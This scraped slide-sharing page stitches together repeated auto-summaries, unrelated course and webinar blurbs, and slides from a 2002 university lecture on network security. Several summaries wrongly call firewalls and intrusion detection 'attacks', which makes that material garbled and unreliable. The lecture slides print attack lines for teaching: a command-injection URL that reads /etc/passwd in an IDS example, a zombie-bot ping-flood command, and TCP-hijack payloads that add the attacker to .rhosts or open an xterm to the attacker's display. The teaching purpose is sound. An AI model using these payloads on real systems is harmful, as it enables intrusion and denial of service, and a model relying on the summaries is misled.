The document discusses network security. It begins with an overview that defines security, why it is needed, who is vulnerable to security attacks, and common attacks and countermeasures. It then discusses specific attacks and defenses in more detail, including firewalls to control access, intrusion detection systems to monitor for attacks, denial of service attacks and how to mitigate them, TCP attacks that hijack connections, packet sniffing and how encryption prevents it, and social engineering attacks that target people.
The document discusses network security. It begins with an overview that defines security, why it is needed, who is vulnerable to security attacks, and common attacks and countermeasures. It then discusses specific attacks and defenses in more detail, including firewalls to control access, intrusion detection systems to monitor for attacks, denial of service attacks and how to mitigate them, TCP attacks that hijack connections, packet sniffing and how encryption prevents it, and social engineering attacks that target people.
The document discusses network security and provides an overview of common security threats and countermeasures. It defines security, explains why security is needed, identifies who is vulnerable, and describes attacks such as firewalls, intrusion detection systems, denial of service attacks, TCP attacks, packet sniffing, and social problems. It also provides details on specific attacks and countermeasures.
The document discusses network security, beginning with definitions of security and why it is needed, then examining common security threats such as firewalls, intrusion detection systems, denial of service attacks, TCP attacks, packet sniffing, and social engineering; it provides examples of these threats and potential countermeasures.
This document provides an overview of computer network security. It defines security and explains why security is needed to protect vital information and authenticate access to resources. It describes common security threats like firewalls, intrusion detection systems, denial of service attacks, TCP attacks, and packet sniffing. It also discusses social engineering problems and outlines countermeasures to these various issues.
This document discusses network security and provides an overview of common security threats and countermeasures. It begins by defining security and explaining why security is needed to protect vital information, authenticate users, and ensure system availability. It then discusses who is vulnerable to security attacks, including individuals, organizations, and anyone on a network. The document outlines several common security attacks like firewalls, intrusion detection systems, denial of service attacks, TCP attacks, and packet sniffing. It provides details on each attack and potential countermeasures.
Network Security, What is security?
Why do we need security?
Who is vulnerable? Common security attacks and countermeasures, Firewalls & Intrusion Detection Systems
Denial of Service Attacks
TCP Attacks
Packet Sniffing
Social Problems
Network security consists of the provisions and policies adopted by a network administrator to prevent and monitor unauthorized access, misuse, modification, or denial of a computer network and network-accessible resources.
The document discusses network security. It begins with an overview that defines security, why it is needed, who is vulnerable to security attacks, and common attacks and countermeasures. It then discusses specific attacks and defenses in more detail, including firewalls to control access, intrusion detection systems to monitor for attacks, denial of service attacks and how to mitigate them, TCP attacks that hijack connections, packet sniffing and how encryption prevents it, and social engineering attacks that target people.
The document discusses network security. It begins with an overview that defines security, why it is needed, who is vulnerable to security attacks, and common attacks and countermeasures. It then discusses specific attacks and defenses in more detail, including firewalls to control access, intrusion detection systems to monitor for attacks, denial of service attacks and how to mitigate them, TCP attacks that hijack connections, packet sniffing and how encryption prevents it, and social engineering attacks that target people.
The document discusses network security and provides an overview of common security threats and countermeasures. It defines security, explains why security is needed, identifies who is vulnerable, and describes attacks such as firewalls, intrusion detection systems, denial of service attacks, TCP attacks, packet sniffing, and social problems. It also provides details on specific attacks and countermeasures.
The document discusses network security, beginning with definitions of security and why it is needed, then examining common security threats such as firewalls, intrusion detection systems, denial of service attacks, TCP attacks, packet sniffing, and social engineering; it provides examples of these threats and potential countermeasures.
This document provides an overview of computer network security. It defines security and explains why security is needed to protect vital information and authenticate access to resources. It describes common security threats like firewalls, intrusion detection systems, denial of service attacks, TCP attacks, and packet sniffing. It also discusses social engineering problems and outlines countermeasures to these various issues.
This document discusses network security and provides an overview of common security threats and countermeasures. It begins by defining security and explaining why security is needed to protect vital information, authenticate users, and ensure system availability. It then discusses who is vulnerable to security attacks, including individuals, organizations, and anyone on a network. The document outlines several common security attacks like firewalls, intrusion detection systems, denial of service attacks, TCP attacks, and packet sniffing. It provides details on each attack and potential countermeasures.
Network Security, What is security?
Why do we need security?
Who is vulnerable? Common security attacks and countermeasures, Firewalls & Intrusion Detection Systems
Denial of Service Attacks
TCP Attacks
Packet Sniffing
Social Problems
Network security consists of the provisions and policies adopted by a network administrator to prevent and monitor unauthorized access, misuse, modification, or denial of a computer network and network-accessible resources.
The document discusses internet security and provides definitions of key security concepts such as what security means, why it is needed, who is vulnerable, and common security attacks and countermeasures. It defines security as freedom from risk, danger, or doubt. It explains the need to protect information while allowing necessary access, and to authenticate users and ensure resource availability. Common attacks discussed include firewalls to control network access, intrusion detection systems to monitor for exploits, denial of service attacks that overload systems, and social engineering problems.
The document discusses network security and defines security as freedom from risk, danger, doubt or fear. It then discusses why security is needed to protect information and systems, who is vulnerable like banks and internet service providers, and common security attacks such as denial of service attacks, firewalls used as a countermeasure, and intrusion detection systems.
This document discusses network security. It begins by defining a network and explaining why security is needed, namely to protect vital information, provide access control, and ensure availability of resources. Anyone on the network is vulnerable to common attacks like firewalls and intrusion detection systems, denial of service attacks, TCP hijacking, and packet sniffing. The document then examines each of these threats and their corresponding countermeasures in more detail. It emphasizes the importance of staying updated on security best practices to protect against exploits.
The document outlines an overview of network security topics including access control. It discusses definitions of security, why security is needed, who is vulnerable, and common security attacks and countermeasures such as firewalls and intrusion detection systems. Specific attacks covered include denial of service attacks, TCP attacks, packet sniffing, and social engineering problems.
This document provides an overview of network security. It discusses what security is, why we need it, who is vulnerable, and common security attacks and countermeasures. Security aims to protect vital information while allowing authorized access. Common attacks discussed include firewalls and intrusion detection systems to control access, denial of service attacks to overload systems, TCP hijacking to intercept connections, packet sniffing to capture unencrypted data, and social engineering to trick users into providing sensitive information. A variety of technical and policy approaches are needed to provide security given the challenges of trusting systems and each other on open networks.
This document discusses computer network security. It begins by defining security and explaining why security is needed, then discusses common security threats like firewalls, denial of service attacks, and TCP hijacking. The most vulnerable targets are listed as financial institutions, internet service providers, and government agencies. The document then explains specific security mechanisms and attacks in more detail, such as firewalls and intrusion detection systems, different types of denial of service attacks, and how TCP hijacking works. It stresses the importance of security updates and patching known vulnerabilities.
This document provides an overview of common computer security concepts including definitions of security, why it is needed, common threats such as firewalls, denial of service attacks and TCP hijacking. It discusses who is vulnerable to attacks such as companies and individuals on networks. It also outlines countermeasures like firewalls, intrusion detection systems and IPSec to help protect against various security risks.
This document provides an overview of internet security. It defines security as freedom from risk or danger according to dictionaries. It then discusses why security is needed online, who is vulnerable, and common security attacks like firewalls, denial of service attacks, TCP hijacking, and packet sniffing. Countermeasures to these threats include firewalls, intrusion detection systems, encryption, and education. Social engineering poses challenges, and penetration testing can help evaluate system weaknesses. Maintaining up-to-date software and implicit trust online necessitates ongoing attention to internet security.
[CLASS 2014] Palestra Técnica - Michael FirstenbergTI Safe
Título da Palestra: Inovando na segurança de perímetro industrial: revolucionando a segurança de perímetro SCADA com tecnologias que são mais fortes que Firewalls
This document discusses network security and related concepts. It begins by defining network security as activities designed to protect network safety and data by managing access through hardware and software technologies. It then explains that network security works by combining multiple defense layers at the edge and in the network to execute policies and controls while authorizing users and blocking threats. Finally, it outlines how network security benefits users by protecting proprietary information, providing authentication and access control for resources, and guaranteeing availability.
Presentation by Charl van der Walt at INFO SEC Africa 2001.
The presentation begins with a case study of a DoS attack launched on a number of high profile sites by the canadian teen "Mafiaboy". An explanation of DoS and DDoS given. The impact of DDoS in South Africa is also discussed. The presentation ends with a series of discussions on DDoS countermeasures.
the computer industry has developed a portfolio of security standards to help to secure data and to prove that it is secure. Businesses that do not have demonstrable security policies to protect their data will be in breach of these standards and penalized accordingly.
“I have found that inadequate network security is usually caused by a failure to implement security policies and make use of security tools that are readily available. It's vital that companies complete professional risk assessments and develop comprehensive security plans and infrastructures that are publicly supported by upper management.”
—Mark Carter, COO, Core Facts, LLC, Data Recovery and Analysis Firm
Network Security Tools and applicationswebhostingguy
The document discusses network security best practices. It covers common network security risks due to issues with the TCP/IP protocol. It then discusses mistakes that users and IT professionals make that compromise security. The document outlines various security best practices for networks, firewalls, intrusion detection systems, and host-level security. These include recommendations around backups, access control, firewall configurations, personal firewalls, and keeping systems patched.
The Industrial IoT depends on connectivity and information exchange. Much of the business value derives from the ability to have independent systems share information in order to derive knowledge, make "smart decisions", and offer behavior and functionality never before possible.
Many industrial systems were designed with a focus on reliability and safety at a time were implicit trust of all components and communication was the norm. Restricting physical access is currently the only practical method for protecting this existing critical infrastructure. This includes the electrical power grid, process control, transportation, or manufacturing systems. This is changing with increased connectivity to the Internet and personal computers as well as awareness of malicious insider threats. Many industrial systems are being (or want to be) connected to external networks using standard technologies like Ethernet and the Internet Protocol Suite (TCP/UDP/IP). These technologies make systems more functional and efficient, unfortunately they also open the critical infrastructure to cyber attacks.
New IIoT Systems are being designed with security as a key concern. New systems can leverage a solid set of security technologies and building blocks for Authentication, Cryptography, Integrity, etc. However these security technologies must be used correctly and in ways that do not disrupt the performance or access to the legitimate applications/devices, yet limit legitimate access to just the needed information (to minimize the insider threats) and denies access to all others. Adding to this difficulties the new systems need to co-exist and (securely) exchange information with the already-deployed legacy systems which were built without such security elements.
Secure DDS (a recent standard from the OMG) is a "secure connectivity middleware" technology that can be used to address these three needs: (1) Build modern secure IIoT systems, (2) Secure legacy Industrial systems being connected on the Internet, and (3) Securely bridge between new and legacy systems. Secure DDS extends the proven Data-Distribution Service (DDS) and Real-Time Publish-Subscribe Protocol (DDS-RTPS) standards with enterprise-grade authentication, encryption and fine-grained security controls while maintaining the peer-to-peer, robustness and scalability features (including secure multicast) that have made DDS a clear choice for critical infrastructure systems.
This presentation introduces the DDS Security specification and provide describe several use-cases that exemplify how these standards are deployed in real-world applications.
This PPT consist of What is Network, Active & Passive Threats, Network basics, Network Scanning, Different types of attacks, Firewall Configuration, IDS, DDoS, DoS attacks
Unidirectional Security, Andrew Ginter of Waterfall Security Digital Bond
This presentation reviews the spectrum of perimeter solutions based on unidirectional technology - solutions that are being deployed to protect the safety and reliability of industrial control systems. Learn why the technology is truly unidirectional based on physics and different ways it can be used in SCADA and DCS.
Many practitioners find parts of the spectrum to be counter-intuitive. Further, some parts of the spectrum are straightforward to deploy, and others require that practitioners take some care to ensure that the results really are as strong as they should be. Technologies and techniques covered include unidirectional gateways, secure bypass, temporary/programmed gateway reversals, opposing gateways, secure remote access, and parallel operations and IT WANs.
This document discusses network security. It begins by defining security and explaining why security is needed to protect vital information while allowing authorized access. Common security attacks like firewalls, intrusion detection systems, and denial of service attacks are described along with countermeasures. The conclusion emphasizes that security means different things to different organizations and the key is defining a security policy to evaluate all network activities and components.
Internet security involves protecting systems and data from unauthorized access. Common security threats include hacking, viruses, phishing, and denial of service attacks. It is important for users to implement security measures like firewalls and keep software updated to prevent intrusions and thefts of personal information.
🔥🔥🔥🔥🔥🔥🔥🔥🔥
إضغ بين إيديكم من أقوى الملازم التي صممتها
ملزمة تشريح الجهاز الهيكلي (نظري 3)
💀💀💀💀💀💀💀💀💀💀
تتميز هذهِ الملزمة بعِدة مُميزات :
1- مُترجمة ترجمة تُناسب جميع المستويات
2- تحتوي على 78 رسم توضيحي لكل كلمة موجودة بالملزمة (لكل كلمة !!!!)
#فهم_ماكو_درخ
3- دقة الكتابة والصور عالية جداً جداً جداً
4- هُنالك بعض المعلومات تم توضيحها بشكل تفصيلي جداً (تُعتبر لدى الطالب أو الطالبة بإنها معلومات مُبهمة ومع ذلك تم توضيح هذهِ المعلومات المُبهمة بشكل تفصيلي جداً
5- الملزمة تشرح نفسها ب نفسها بس تكلك تعال اقراني
6- تحتوي الملزمة في اول سلايد على خارطة تتضمن جميع تفرُعات معلومات الجهاز الهيكلي المذكورة في هذهِ الملزمة
واخيراً هذهِ الملزمة حلالٌ عليكم وإتمنى منكم إن تدعولي بالخير والصحة والعافية فقط
كل التوفيق زملائي وزميلاتي ، زميلكم محمد الذهبي 💊💊
🔥🔥🔥🔥🔥🔥🔥🔥🔥
The document discusses internet security and provides definitions of key security concepts such as what security means, why it is needed, who is vulnerable, and common security attacks and countermeasures. It defines security as freedom from risk, danger, or doubt. It explains the need to protect information while allowing necessary access, and to authenticate users and ensure resource availability. Common attacks discussed include firewalls to control network access, intrusion detection systems to monitor for exploits, denial of service attacks that overload systems, and social engineering problems.
The document discusses network security and defines security as freedom from risk, danger, doubt or fear. It then discusses why security is needed to protect information and systems, who is vulnerable like banks and internet service providers, and common security attacks such as denial of service attacks, firewalls used as a countermeasure, and intrusion detection systems.
This document discusses network security. It begins by defining a network and explaining why security is needed, namely to protect vital information, provide access control, and ensure availability of resources. Anyone on the network is vulnerable to common attacks like firewalls and intrusion detection systems, denial of service attacks, TCP hijacking, and packet sniffing. The document then examines each of these threats and their corresponding countermeasures in more detail. It emphasizes the importance of staying updated on security best practices to protect against exploits.
The document outlines an overview of network security topics including access control. It discusses definitions of security, why security is needed, who is vulnerable, and common security attacks and countermeasures such as firewalls and intrusion detection systems. Specific attacks covered include denial of service attacks, TCP attacks, packet sniffing, and social engineering problems.
This document provides an overview of network security. It discusses what security is, why we need it, who is vulnerable, and common security attacks and countermeasures. Security aims to protect vital information while allowing authorized access. Common attacks discussed include firewalls and intrusion detection systems to control access, denial of service attacks to overload systems, TCP hijacking to intercept connections, packet sniffing to capture unencrypted data, and social engineering to trick users into providing sensitive information. A variety of technical and policy approaches are needed to provide security given the challenges of trusting systems and each other on open networks.
This document discusses computer network security. It begins by defining security and explaining why security is needed, then discusses common security threats like firewalls, denial of service attacks, and TCP hijacking. The most vulnerable targets are listed as financial institutions, internet service providers, and government agencies. The document then explains specific security mechanisms and attacks in more detail, such as firewalls and intrusion detection systems, different types of denial of service attacks, and how TCP hijacking works. It stresses the importance of security updates and patching known vulnerabilities.
This document provides an overview of common computer security concepts including definitions of security, why it is needed, common threats such as firewalls, denial of service attacks and TCP hijacking. It discusses who is vulnerable to attacks such as companies and individuals on networks. It also outlines countermeasures like firewalls, intrusion detection systems and IPSec to help protect against various security risks.
This document provides an overview of internet security. It defines security as freedom from risk or danger according to dictionaries. It then discusses why security is needed online, who is vulnerable, and common security attacks like firewalls, denial of service attacks, TCP hijacking, and packet sniffing. Countermeasures to these threats include firewalls, intrusion detection systems, encryption, and education. Social engineering poses challenges, and penetration testing can help evaluate system weaknesses. Maintaining up-to-date software and implicit trust online necessitates ongoing attention to internet security.
[CLASS 2014] Palestra Técnica - Michael FirstenbergTI Safe
Título da Palestra: Inovando na segurança de perímetro industrial: revolucionando a segurança de perímetro SCADA com tecnologias que são mais fortes que Firewalls
This document discusses network security and related concepts. It begins by defining network security as activities designed to protect network safety and data by managing access through hardware and software technologies. It then explains that network security works by combining multiple defense layers at the edge and in the network to execute policies and controls while authorizing users and blocking threats. Finally, it outlines how network security benefits users by protecting proprietary information, providing authentication and access control for resources, and guaranteeing availability.
Presentation by Charl van der Walt at INFO SEC Africa 2001.
The presentation begins with a case study of a DoS attack launched on a number of high profile sites by the canadian teen "Mafiaboy". An explanation of DoS and DDoS given. The impact of DDoS in South Africa is also discussed. The presentation ends with a series of discussions on DDoS countermeasures.
the computer industry has developed a portfolio of security standards to help to secure data and to prove that it is secure. Businesses that do not have demonstrable security policies to protect their data will be in breach of these standards and penalized accordingly.
“I have found that inadequate network security is usually caused by a failure to implement security policies and make use of security tools that are readily available. It's vital that companies complete professional risk assessments and develop comprehensive security plans and infrastructures that are publicly supported by upper management.”
—Mark Carter, COO, Core Facts, LLC, Data Recovery and Analysis Firm
Network Security Tools and applicationswebhostingguy
The document discusses network security best practices. It covers common network security risks due to issues with the TCP/IP protocol. It then discusses mistakes that users and IT professionals make that compromise security. The document outlines various security best practices for networks, firewalls, intrusion detection systems, and host-level security. These include recommendations around backups, access control, firewall configurations, personal firewalls, and keeping systems patched.
The Industrial IoT depends on connectivity and information exchange. Much of the business value derives from the ability to have independent systems share information in order to derive knowledge, make "smart decisions", and offer behavior and functionality never before possible.
Many industrial systems were designed with a focus on reliability and safety at a time were implicit trust of all components and communication was the norm. Restricting physical access is currently the only practical method for protecting this existing critical infrastructure. This includes the electrical power grid, process control, transportation, or manufacturing systems. This is changing with increased connectivity to the Internet and personal computers as well as awareness of malicious insider threats. Many industrial systems are being (or want to be) connected to external networks using standard technologies like Ethernet and the Internet Protocol Suite (TCP/UDP/IP). These technologies make systems more functional and efficient, unfortunately they also open the critical infrastructure to cyber attacks.
New IIoT Systems are being designed with security as a key concern. New systems can leverage a solid set of security technologies and building blocks for Authentication, Cryptography, Integrity, etc. However these security technologies must be used correctly and in ways that do not disrupt the performance or access to the legitimate applications/devices, yet limit legitimate access to just the needed information (to minimize the insider threats) and denies access to all others. Adding to this difficulties the new systems need to co-exist and (securely) exchange information with the already-deployed legacy systems which were built without such security elements.
Secure DDS (a recent standard from the OMG) is a "secure connectivity middleware" technology that can be used to address these three needs: (1) Build modern secure IIoT systems, (2) Secure legacy Industrial systems being connected on the Internet, and (3) Securely bridge between new and legacy systems. Secure DDS extends the proven Data-Distribution Service (DDS) and Real-Time Publish-Subscribe Protocol (DDS-RTPS) standards with enterprise-grade authentication, encryption and fine-grained security controls while maintaining the peer-to-peer, robustness and scalability features (including secure multicast) that have made DDS a clear choice for critical infrastructure systems.
This presentation introduces the DDS Security specification and provide describe several use-cases that exemplify how these standards are deployed in real-world applications.
This PPT consist of What is Network, Active & Passive Threats, Network basics, Network Scanning, Different types of attacks, Firewall Configuration, IDS, DDoS, DoS attacks
Unidirectional Security, Andrew Ginter of Waterfall Security Digital Bond
This presentation reviews the spectrum of perimeter solutions based on unidirectional technology - solutions that are being deployed to protect the safety and reliability of industrial control systems. Learn why the technology is truly unidirectional based on physics and different ways it can be used in SCADA and DCS.
Many practitioners find parts of the spectrum to be counter-intuitive. Further, some parts of the spectrum are straightforward to deploy, and others require that practitioners take some care to ensure that the results really are as strong as they should be. Technologies and techniques covered include unidirectional gateways, secure bypass, temporary/programmed gateway reversals, opposing gateways, secure remote access, and parallel operations and IT WANs.
This document discusses network security. It begins by defining security and explaining why security is needed to protect vital information while allowing authorized access. Common security attacks like firewalls, intrusion detection systems, and denial of service attacks are described along with countermeasures. The conclusion emphasizes that security means different things to different organizations and the key is defining a security policy to evaluate all network activities and components.
Internet security involves protecting systems and data from unauthorized access. Common security threats include hacking, viruses, phishing, and denial of service attacks. It is important for users to implement security measures like firewalls and keep software updated to prevent intrusions and thefts of personal information.
🔥🔥🔥🔥🔥🔥🔥🔥🔥
إضغ بين إيديكم من أقوى الملازم التي صممتها
ملزمة تشريح الجهاز الهيكلي (نظري 3)
💀💀💀💀💀💀💀💀💀💀
تتميز هذهِ الملزمة بعِدة مُميزات :
1- مُترجمة ترجمة تُناسب جميع المستويات
2- تحتوي على 78 رسم توضيحي لكل كلمة موجودة بالملزمة (لكل كلمة !!!!)
#فهم_ماكو_درخ
3- دقة الكتابة والصور عالية جداً جداً جداً
4- هُنالك بعض المعلومات تم توضيحها بشكل تفصيلي جداً (تُعتبر لدى الطالب أو الطالبة بإنها معلومات مُبهمة ومع ذلك تم توضيح هذهِ المعلومات المُبهمة بشكل تفصيلي جداً
5- الملزمة تشرح نفسها ب نفسها بس تكلك تعال اقراني
6- تحتوي الملزمة في اول سلايد على خارطة تتضمن جميع تفرُعات معلومات الجهاز الهيكلي المذكورة في هذهِ الملزمة
واخيراً هذهِ الملزمة حلالٌ عليكم وإتمنى منكم إن تدعولي بالخير والصحة والعافية فقط
كل التوفيق زملائي وزميلاتي ، زميلكم محمد الذهبي 💊💊
🔥🔥🔥🔥🔥🔥🔥🔥🔥
Level 3 NCEA - NZ: A Nation In the Making 1872 - 1900 SML.pptHenry Hollis
The History of NZ 1870-1900.
Making of a Nation.
From the NZ Wars to Liberals,
Richard Seddon, George Grey,
Social Laboratory, New Zealand,
Confiscations, Kotahitanga, Kingitanga, Parliament, Suffrage, Repudiation, Economic Change, Agriculture, Gold Mining, Timber, Flax, Sheep, Dairying,
How Barcodes Can Be Leveraged Within Odoo 17Celine George
In this presentation, we will explore how barcodes can be leveraged within Odoo 17 to streamline our manufacturing processes. We will cover the configuration steps, how to utilize barcodes in different manufacturing scenarios, and the overall benefits of implementing this technology.
This presentation was provided by Rebecca Benner, Ph.D., of the American Society of Anesthesiologists, for the second session of NISO's 2024 Training Series "DEIA in the Scholarly Landscape." Session Two: 'Expanding Pathways to Publishing Careers,' was held June 13, 2024.
Elevate Your Nonprofit's Online Presence_ A Guide to Effective SEO Strategies...TechSoup
Whether you're new to SEO or looking to refine your existing strategies, this webinar will provide you with actionable insights and practical tips to elevate your nonprofit's online presence.
This document provides an overview of wound healing, its functions, stages, mechanisms, factors affecting it, and complications.
A wound is a break in the integrity of the skin or tissues, which may be associated with disruption of the structure and function.
Healing is the body’s response to injury in an attempt to restore normal structure and functions.
Healing can occur in two ways: Regeneration and Repair
There are 4 phases of wound healing: hemostasis, inflammation, proliferation, and remodeling. This document also describes the mechanism of wound healing. Factors that affect healing include infection, uncontrolled diabetes, poor nutrition, age, anemia, the presence of foreign bodies, etc.
Complications of wound healing like infection, hyperpigmentation of scar, contractures, and keloid formation.
Andreas Schleicher presents PISA 2022 Volume III - Creative Thinking - 18 Jun...EduSkills OECD
Andreas Schleicher, Director of Education and Skills at the OECD presents at the launch of PISA 2022 Volume III - Creative Minds, Creative Schools on 18 June 2024.
3. 15-441 Networks Fall 2002 3
Overview
What is security?
Why do we need security?
Who is vulnerable?
Common security attacks and countermeasures
– Firewalls & Intrusion Detection Systems
– Denial of Service Attacks
– TCP Attacks
– Packet Sniffing
– Social Problems
4. 15-441 Networks Fall 2002 4
What is “Security”
Dictionary.com says:
– 1. Freedom from risk or danger; safety.
– 2. Freedom from doubt, anxiety, or fear; confidence.
– 3. Something that gives or assures safety, as:
• 1. A group or department of private guards: Call building security
if a visitor acts suspicious.
• 2. Measures adopted by a government to prevent espionage,
sabotage, or attack.
• 3. Measures adopted, as by a business or homeowner, to prevent
a crime such as burglary or assault: Security was lax at the firm's
smaller plant.
…etc.
5. 15-441 Networks Fall 2002 5
What is “Security”
Dictionary.com says:
– 1. Freedom from risk or danger; safety.
– 2. Freedom from doubt, anxiety, or fear; confidence.
– 3. Something that gives or assures safety, as:
• 1. A group or department of private guards: Call building security
if a visitor acts suspicious.
• 2. Measures adopted by a government to prevent espionage,
sabotage, or attack.
• 3. Measures adopted, as by a business or homeowner, to prevent
a crime such as burglary or assault: Security was lax at the firm's
smaller plant.
…etc.
6. 15-441 Networks Fall 2002 6
What is “Security”
Dictionary.com says:
– 1. Freedom from risk or danger; safety.
– 2. Freedom from doubt, anxiety, or fear; confidence.
– 3. Something that gives or assures safety, as:
• 1. A group or department of private guards: Call building security
if a visitor acts suspicious.
• 2. Measures adopted by a government to prevent espionage,
sabotage, or attack.
• 3. Measures adopted, as by a business or homeowner, to prevent
a crime such as burglary or assault: Security was lax at the firm's
smaller plant.
…etc.
7. 15-441 Networks Fall 2002 7
What is “Security”
Dictionary.com says:
– 1. Freedom from risk or danger; safety.
– 2. Freedom from doubt, anxiety, or fear; confidence.
– 3. Something that gives or assures safety, as:
• 1. A group or department of private guards: Call building security
if a visitor acts suspicious.
• 2. Measures adopted by a government to prevent espionage,
sabotage, or attack.
• 3. Measures adopted, as by a business or homeowner, to prevent
a crime such as burglary or assault: Security was lax at the firm's
smaller plant.
…etc.
8. 15-441 Networks Fall 2002 8
Why do we need security?
Protect vital information while still allowing
access to those who need it
– Trade secrets, medical records, etc.
Provide authentication and access control for
resources
– Ex: AFS
Guarantee availability of resources
– Ex: 5 9’s (99.999% reliability)
9. 15-441 Networks Fall 2002 9
Who is vulnerable?
Financial institutions and banks
Internet service providers
Pharmaceutical companies
Government and defense agencies
Contractors to various government agencies
Multinational corporations
ANYONE ON THE NETWORK
10. 15-441 Networks Fall 2002 10
Common security attacks and
their countermeasures
Finding a way into the network
– Firewalls
Exploiting software bugs, buffer overflows
– Intrusion Detection Systems
Denial of Service
– Ingress filtering, IDS
TCP hijacking
– IPSec
Packet sniffing
– Encryption (SSH, SSL, HTTPS)
Social problems
– Education
11. 15-441 Networks Fall 2002 11
Firewalls
Basic problem – many network applications
and protocols have security problems that
are fixed over time
– Difficult for users to keep up with changes and
keep host secure
– Solution
• Administrators limit access to end hosts by using a
firewall
• Firewall is kept up-to-date by administrators
12. 15-441 Networks Fall 2002 12
Firewalls
A firewall is like a castle with a drawbridge
– Only one point of access into the network
– This can be good or bad
Can be hardware or software
– Ex. Some routers come with firewall functionality
– ipfw, ipchains, pf on Unix systems, Windows XP
and Mac OS X have built in firewalls
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Firewalls
Intranet
DMZ
Internet
Firewall
Firewall
Web server, email
server, web proxy,
etc
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Firewalls
Used to filter packets based on a combination of
features
– These are called packet filtering firewalls
• There are other types too, but they will not be discussed
– Ex. Drop packets with destination port of 23 (Telnet)
– Can use any combination of IP/UDP/TCP header
information
– man ipfw on unix47 for much more detail
But why don’t we just turn Telnet off?
15. 15-441 Networks Fall 2002 15
Firewalls
Here is what a computer with a default
Windows XP install looks like:
– 135/tcp open loc-srv
– 139/tcp open netbios-ssn
– 445/tcp open microsoft-ds
– 1025/tcp open NFS-or-IIS
– 3389/tcp open ms-term-serv
– 5000/tcp open UPnP
Might need some of these services, or might
not be able to control all the machines on the
network
16. 15-441 Networks Fall 2002 16
Firewalls
What does a firewall rule look like?
– Depends on the firewall used
Example: ipfw
– /sbin/ipfw add deny tcp from cracker.evil.org to
wolf.tambov.su telnet
Other examples: WinXP & Mac OS X have
built in and third party firewalls
– Different graphical user interfaces
– Varying amounts of complexity and power
17. 15-441 Networks Fall 2002 17
Intrusion Detection
Used to monitor for “suspicious activity” on a
network
– Can protect against known software exploits, like
buffer overflows
Open Source IDS: Snort, www.snort.org
18. 15-441 Networks Fall 2002 18
Intrusion Detection
Uses “intrusion signatures”
– Well known patterns of behavior
• Ping sweeps, port scanning, web server indexing, OS
fingerprinting, DoS attempts, etc.
Example
– IRIX vulnerability in webdist.cgi
– Can make a rule to drop packets containing the line
• “/cgi-bin/webdist.cgi?distloc=?;cat%20/etc/passwd”
However, IDS is only useful if contingency plans are
in place to curb attacks as they are occurring
19. 15-441 Networks Fall 2002 19
Minor Detour…
Say we got the /etc/passwd file from the IRIX
server
What can we do with it?
20. 15-441 Networks Fall 2002 20
Dictionary Attack
We can run a dictionary attack on the passwords
– The passwords in /etc/passwd are encrypted with the
crypt(3) function (one-way hash)
– Can take a dictionary of words, crypt() them all, and
compare with the hashed passwords
This is why your passwords should be meaningless
random junk!
– For example, “sdfo839f” is a good password
• That is not my andrew password
• Please don’t try it either
21. 15-441 Networks Fall 2002 21
Denial of Service
Purpose: Make a network service unusable,
usually by overloading the server or network
Many different kinds of DoS attacks
– SYN flooding
– SMURF
– Distributed attacks
– Mini Case Study: Code-Red
22. 15-441 Networks Fall 2002 22
Denial of Service
SYN flooding attack
Send SYN packets with bogus source address
– Why?
Server responds with SYN ACK and keeps state
about TCP half-open connection
– Eventually, server memory is exhausted with this state
Solution: use “SYN cookies”
– In response to a SYN, create a special “cookie” for the
connection, and forget everything else
– Then, can recreate the forgotten information when the
ACK comes in from a legitimate connection
24. 15-441 Networks Fall 2002 24
Denial of Service
SMURF
– Source IP address of a broadcast ping is forged
– Large number of machines respond back to
victim, overloading it
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Denial of Service
Internet
Perpetrator Victim
ICMP echo (spoofed source address of victim)
Sent to IP broadcast address
ICMP echo reply
26. 15-441 Networks Fall 2002 26
Denial of Service
Distributed Denial of Service
– Same techniques as regular DoS, but on a much larger
scale
– Example: Sub7Server Trojan and IRC bots
• Infect a large number of machines with a “zombie” program
• Zombie program logs into an IRC channel and awaits commands
• Example:
– Bot command: !p4 207.71.92.193
– Result: runs ping.exe 207.71.92.193 -l 65500 -n 10000
– Sends 10,000 64k packets to the host (655MB!)
• Read more at: http://grc.com/dos/grcdos.htm
27. 15-441 Networks Fall 2002 27
Denial of Service
Mini Case Study – CodeRed
– July 19, 2001: over 359,000 computers infected
with Code-Red in less than 14 hours
– Used a recently known buffer exploit in Microsoft
IIS
– Damages estimated in excess of $2.6 billion
28. 15-441 Networks Fall 2002 28
Denial of Service
Why is this under the Denial of Service
category?
– CodeRed launched a DDOS attack against
www1.whitehouse.gov from the 20th to the 28th
of every month!
– Spent the rest of its time infecting other hosts
29. 15-441 Networks Fall 2002 29
Denial of Service
How can we protect ourselves?
– Ingress filtering
• If the source IP of a packet comes in on an interface
which does not have a route to that packet, then drop
it
• RFC 2267 has more information about this
– Stay on top of CERT advisories and the latest
security patches
• A fix for the IIS buffer overflow was released sixteen
days before CodeRed had been deployed!
30. 15-441 Networks Fall 2002 30
TCP Attacks
Recall how IP works…
– End hosts create IP packets and routers process
them purely based on destination address alone
Problem: End hosts may lie about other fields
which do not affect delivery
– Source address – host may trick destination into
believing that the packet is from a trusted source
• Especially applications which use IP addresses as a
simple authentication method
• Solution – use better authentication methods
31. 15-441 Networks Fall 2002 31
TCP Attacks
TCP connections have associated state
– Starting sequence numbers, port numbers
Problem – what if an attacker learns these
values?
– Port numbers are sometimes well known to begin
with (ex. HTTP uses port 80)
– Sequence numbers are sometimes chosen in
very predictable ways
32. 15-441 Networks Fall 2002 32
TCP Attacks
If an attacker learns the associated TCP
state for the connection, then the connection
can be hijacked!
Attacker can insert malicious data into the
TCP stream, and the recipient will believe it
came from the original source
– Ex. Instead of downloading and running new
program, you download a virus and execute it
33. 15-441 Networks Fall 2002 33
TCP Attacks
Say hello to Alice, Bob and Mr. Big Ears
34. 15-441 Networks Fall 2002 34
TCP Attacks
Alice and Bob have an established TCP
connection
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TCP Attacks
Mr. Big Ears lies on the path between Alice
and Bob on the network
– He can intercept all of their packets
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TCP Attacks
First, Mr. Big Ears must drop all of Alice’s
packets since they must not be delivered to
Bob (why?)
Packets
The Void
37. 15-441 Networks Fall 2002 37
TCP Attacks
Then, Mr. Big Ears sends his malicious
packet with the next ISN (sniffed from the
network)
ISN, SRC=Alice
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TCP Attacks
What if Mr. Big Ears is unable to sniff the
packets between Alice and Bob?
– Can just DoS Alice instead of dropping her
packets
– Can just send guesses of what the ISN is until it
is accepted
How do you know when the ISN is accepted?
– Mitnick: payload is “add self to .rhosts”
– Or, “xterm -display MrBigEars:0”
39. 15-441 Networks Fall 2002 39
TCP Attacks
Why are these types of TCP attacks so
dangerous?
Web server
Malicious user
Trusting web client
